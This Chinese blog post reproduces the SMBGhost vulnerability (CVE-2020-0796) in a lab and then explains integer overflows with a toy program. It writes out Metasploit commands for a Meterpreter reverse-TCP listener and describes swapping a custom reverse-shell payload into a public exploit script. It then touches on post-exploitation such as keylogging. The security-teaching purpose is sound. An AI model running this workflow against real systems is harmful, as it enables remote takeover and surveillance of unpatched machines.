首页 > 其他分享 >永恒之黑复现

永恒之黑复现

时间:2024-03-22 09:24:01浏览次数:25  
标签:Windows 攻击者 整数 漏洞 Version 复现 永恒 溢出

永恒之黑复现

一. 永恒之黑介绍

原理

2020年3月,微软公布SMB远程代码执行漏洞(CVE-2020-0796)又称“永恒之黑”,该漏洞由SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,没有检查长度是否合法,最终导致整数溢出,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码,攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

影响对象

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows Server, Version 1903 (Server Core installation)

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows Server, Version 1909 (Server Core installation)
image​​​

二. 漏洞扫描

image

漏洞利用的第一步是判断目标靶机是否存在该漏洞,只要不是0-day漏洞,在微软披露了漏洞之后就会发放相应的补丁,但很多人安全意识较低,不会进行打补丁和预防操作,这就给了攻击者可乘之机。

这里用的是奇安信的漏洞扫描工具。

imageimage​​

显示在目标靶机上存在相应的漏洞。

三. 创建监听任务

我们需要根据目标靶机的ip创建一个监听进程,这里我们使用reverse_tcp,针对自己kali设置相应的ip和端口。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.172.129
set lport 5555
run

image现在监听任务创建成功

四. 配置payload

攻击的核心在于payload的选择,这里使用网上针对该漏洞的payload,但是需要注意的是由于每个人目标靶机的ip,监听端口和监听方式不同,所以我们需要生成自己的USER_PAYLOAD然后替代下载的exploit.py当中的相应内容。

使用msf生成反弹shell:

imageimage左边的是下载的exploit.py当中的内容,右边是我们自己生成的payload内容,需要进行相应的替换。

接下来使用该exploit对目标靶机进行攻击即可:

image同时我们可以看见在监听终端成功获得shell

image

五. 后渗透攻击

在渗透攻击成功后我们成功获得了系统权限,可以进行一系列的操作。

image

image

比如键盘记录,上传文件,远程监控。。。。。

大家可以在课后自己复现的时候进行相应的查找操作,这是非常有趣的事情。

六. 二进制漏洞介绍

二进制漏洞是可执行文件(PE、ELF文件等)因编码时考虑不周,造成的软件执行了非预期的功能。由于二进制漏洞大都涉及到系统层面,所以危害程度比较高。比如经典的office栈溢出漏洞(CVE-2012-0158)、(CVE-2017-11882)以及(CVE-2017-11882)的补丁绕过漏洞(CVE-2018-0802)等,都是危险程度极高的0day和1day漏洞。

类型包括:

  • 栈溢出漏洞(Stack-Overflow)
  • 堆溢出漏洞(Heap-Overflow)
  • 释放后重引用漏洞(Use-After-Free)
  • 双重释放漏洞(Double-Free)
  • 越界访问漏洞(Out-of-bounds)
  • 整数溢出漏洞

二进制漏洞和之前我们所介绍的web漏洞是两个不同的分支,但是核心目地是一样的就是夺权,进行信息窃取,也是我们网络渗透当中所需要着重学习的地方。

七. 整数溢出漏洞原理

我们所使用的永恒之黑就是基于整数溢出漏洞来实现的,永恒之黑漏洞是由于SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,没有检查长度是否合法,最终导致整数溢出,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码 。

什么是整数溢出漏洞?

整数溢出漏洞是一种常见的安全问题,它发生在计算机程序的整数运算中。一个整数值超出其能表示的范围时,就会导致整数溢出。例如,在C语言中,一个标准的int类型数据范围是从0x7FFFFFFF到-0x80000000,一旦超过这个范围,就可能产生溢出。

整数溢出可以分为上界溢出和下界溢出两种。上界溢出是指整数值超过了存储空间能表示的最大值,而下界溢出则是指整数值低于存储空间能表示的最小值。

这种类型的漏洞可能导致一些难以预料的结果,甚至可能被恶意攻击者利用,通过控制输入的数值来读取甚至破坏系统的内存位置。例如,攻击者可以确定一个两字节内存分配的地址(称为L),并随后决定代表关键安全特权的内存是L的40字节偏移值(offset)。通过特定的输入,攻击者可以使整数溢出,从而重写任意内存位置,进而执行任意代码。

八. 整数溢出漏洞举例

这里我写了一个简单的验证登录程序从汇编的角度带大家了解一下什么是整数溢出漏洞。

image这是一个简单的验证程序,当输入的第二个参数长度为[4,8]中间的时候会显示验证正确否则验证失败。

image

从汇编的角度是这样的:

imageimage也就是说在这里我们的核心是判断[rbp+passwd_len]的大小,乍一看似乎没有什么问题,但是不知道大家注意到没有。在我们的程序中passwd_len的类型是unsigned char,这个无符号字符型范围是0-255。倘若我们输入的结果大于这个范围结果会怎么样呢?

image

image这里我们输入密码长度为261,最后的结果显示验证码正确,显然这就是整数溢出造成的问题。

现在我们再深入一点从汇编的角度理解这个流程:

image我们现在查看一下这个内存当中的内容,看看到底是多少。

image结果为0x04(16进制),因为整数溢出导致我们的验证程序形同虚设,漏洞利用成功。

标签:Windows,攻击者,整数,漏洞,Version,复现,永恒,溢出
From: https://www.cnblogs.com/ONEZJ/p/18088687/eternal-black-reapping-vzuu8

相关文章

  • Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)复现
    先从镜像站拉取OracleWebLogicServerJNDI注入漏洞(CVE-2024-20931)然后在docker中启动这个镜像即可在网页中访问,搭建网站成功使用利用工具来进行验证是否存在漏洞获取DNS查看是否有回显有回显漏洞存在创造反弹shell,先查看攻击机的ip进行反弹shell编码使用nc开启监听端......
  • Linux脏牛提权漏洞复现(DirtyCow)
    #简述脏牛(DirtyCow)是Linux中的一个提权漏洞。主要产生的原因是Linux系统的内核中Copy-on-Write(COW)机制产生的竞争条件问题导致,攻击者可以破坏私有只读内存映射,并提升为本地管理员权限。#前期准备靶机:vulnhub——Lampiao192.168.230.217攻击机:Kali192.168.230.128#复现......
  • 【漏洞复现】1. WebLogic 反序列化漏洞(CVE-2019-2890)复现与分析
    文章目录1.基础知识2.复现2.1漏洞介绍漏洞影响版本:2.2漏洞原理分析2.3漏洞复现2.3.1环境搭建2.3.2漏洞验证2.3.3漏洞利用2.3.4POC分析2.4漏洞修复1.基础知识WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间......
  • WinClip非官方复现代码学习笔记2
    一、数据集加载1.数据集放置将下载的数据集解压到datasets文件夹的下面,方便后续操作。2.数据集预处理数据集预处理针对两个数据集给了两个不同的预处理指令,我测试了VISA数据集,以下是我对VISA数据集的实例。1.datasets/prepare_visa_public.py文件配置打开这个文件,第1......
  • Open Sora 发布!开源的高效复现类 Sora 视频生成方案
         不久前OpenAISora的发布可以说是震惊了世界,但是奈何目前OpenAI还未将Sora开放公测,但在昨天,我们却等来了OpenSora1.0的发布,这是Colossal-AI团队的一个完全开源的视频生成项目,致力于高效制作高质量视频,并使所有人都能使用其模型、工具和内容的计划。通......
  • 【漏洞复现】Progress Kemp LoadMaster 命令注入漏洞(CVE-2024-1212)
    0x01产品简介ProgressKempLoadMaster是一款高性能的应用交付控制器,具有可扩展性,支持实体硬件和虚拟机的负载均衡。它提供了当今应用服务所需的各种功能,包括深度用户验证、资安防护(如WAF/IPS/DDoS防护)以及零信任架构服务。这款控制器旨在为各种规模的企业和单位提供出色的负......
  • STST论文复现
    Pix2Pix-basedStain-to-StainTranslation:ASolutionforRobustStainNormalizationinHistopathologyImagesAnalysis代码链接:artemis1919/Stain-to-Stain-Translation:Pix2Pix-basedStain-to-StainTranslation:ASolutionforRobustStainNormalizationinHis......
  • S2-066漏洞分析与复现(CVE-2023-50164)
    Foreword自struts2官方纰漏S2-066漏洞已经有一段时间,期间断断续续地写,直到最近才完成。羞愧地回顾一下官方通告:2023.12.9发布,编号CVE-2023-50164,主要影响版本是2.5.0-2.5.32以及6.0.0-6.3.0,描述中提到了文件上传漏洞和目录穿越漏洞。开始以为这是个组合漏洞,其实不是,这是一个......
  • Open Sora 发布!开源的高效复现类 Sora 视频生成方案
    不久前OpenAISora的发布可以说是震惊了世界,但是奈何目前OpenAI还未将Sora开放公测,但在昨天,我们却等来了OpenSora1.0的发布,这是Colossal-AI团队的一个完全开源的视频生成项目,致力于高效制作高质量视频,并使所有人都能使用其模型、工具和内容的计划。通过采用开......
  • Linux脏牛提权漏洞复现(DirtyCow)
    #简述脏牛(DirtyCow)是Linux中的一个提权漏洞。主要产生的原因是Linux系统的内核中Copy-on-Write(COW)机制产生的竞争条件问题导致,攻击者可以破坏私有只读内存映射,并提升为本地管理员权限。#前期准备靶机:vulnhub——Lampiao192.168.230.217攻击机:Kali192.168.230.128#复现......